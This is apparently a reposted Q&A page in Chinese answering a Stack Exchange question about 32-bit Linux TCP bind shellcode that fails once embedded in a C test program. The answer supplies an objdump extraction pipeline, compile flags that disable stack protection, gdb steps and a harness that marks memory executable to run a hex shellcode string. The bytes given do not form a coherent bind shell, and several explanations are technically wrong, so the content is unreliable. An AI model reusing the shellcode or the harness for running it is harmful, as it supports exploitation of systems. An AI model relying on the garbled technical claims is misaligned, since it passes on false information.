You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

32位Linux下TCP Bind Shellcode嵌入代码后端口监听失效求助

排查32位Linux TCP Bind Shellcode提取后失效的问题

这问题我之前踩过好几次,核心原因基本都出在shellcode的执行环境差异或者提取/测试代码的细节错误上——毕竟你直接汇编运行是正常的,说明shellcode本身的逻辑和字节码没问题。咱们一步步拆解排查:

1. 先确认shellcode提取是否完全正确

直接汇编运行正常,不代表你提取的字节串和目标文件里的机器码完全一致。别用手动复制的方式,用标准命令提取:

objdump -d shellcode.o | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-6 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s

然后用xxd shellcode.o查看目标文件的原始字节,和你提取的\x格式串逐字节对比,确保没有漏字节、多字节或者字节顺序搞反的情况。

2. 检查长度检测代码的常见坑

你提到加了长度检测后出问题,大概率是这段代码破坏了shellcode的执行条件:

  • 栈权限问题:如果你的测试代码把shellcode存在栈上(比如char shellcode[] = "...";),现代Linux默认栈是不可执行的,当shellcode执行到socket/bind系统调用时会触发权限错误,很多shellcode会做错误 fallback——直接执行本地shell。解决方法:
    要么编译时关闭栈保护:gcc -m32 -fno-stack-protector -z execstack test.c -o test
    要么用mprotect手动修改shellcode所在内存页的权限(更安全),示例代码见下文。
  • 长度计算错误:如果你用字符串格式存储shellcode(带末尾\0),用sizeof(shellcode)-1计算长度会截断字节;如果是用无终止符的字节数组存储,直接用sizeof(shellcode)才对。长度错了会导致shellcode的bind/listen逻辑被截断,直接跳到execve本地shell的部分。
  • 寄存器污染:长度检测代码如果修改了eax、ebx等shellcode依赖的寄存器,会导致系统调用失败。比如有些长度检测函数会用eax存返回值,覆盖了shellcode初始化时的寄存器状态。

3. 调试shellcode的执行流程

用gdb一步步看执行过程,能快速定位哪里出问题:

  1. 编译测试程序时加调试信息:gcc -m32 -g test.c -o test
  2. 启动gdb后,在shellcode起始位置打断点:break *&shellcode
  3. 运行程序后单步执行(si),重点看这几个系统调用的返回值:
    • socket()调用后eax应该是正的文件描述符(如果是-1说明socket创建失败)
    • bind()调用后eax应该是0(-1说明端口绑定失败,比如端口被占用、sockaddr结构错误)
    • 如果bind失败,你的shellcode是不是有错误分支直接跳转到execve本地shell的逻辑?这就是你看到的“只出本地shell”的原因。

4. 修复后的测试代码示例

给你一个不会踩坑的测试模板,包含内存权限处理:

#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>

// 替换成你提取的正确shellcode字节
unsigned char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x02\x00\x11\x5c\x6a\x01\x6a\x02\x6a\x04\x6a\x06\x58\xcd\x80\x89\xc3\x6a\x10\x5b\x50\x53\x5b\xcd\x80\xb0\x0e\xcd\x80\x31\xc0\xb0\x02\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";

int main() {
    // 获取shellcode所在内存页的起始地址
    void *sc_page = (void *)((unsigned long)shellcode & ~(getpagesize() - 1));
    // 设置内存页为可读可写可执行
    mprotect(sc_page, getpagesize(), PROT_READ | PROT_WRITE | PROT_EXEC);

    // 执行shellcode
    ((void (*)())shellcode)();
    return 0;
}

编译命令:gcc -m32 test.c -o test

最后总结

既然直接汇编运行正常,shellcode本身没问题,问题肯定出在提取后的执行环境上——要么是内存权限不够,要么是测试代码的逻辑破坏了shellcode的执行上下文。按上面的步骤排查,很快就能找到根源。

内容的提问来源于stack exchange,提问作者Shashank Gosavi

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.05.20 07:17:50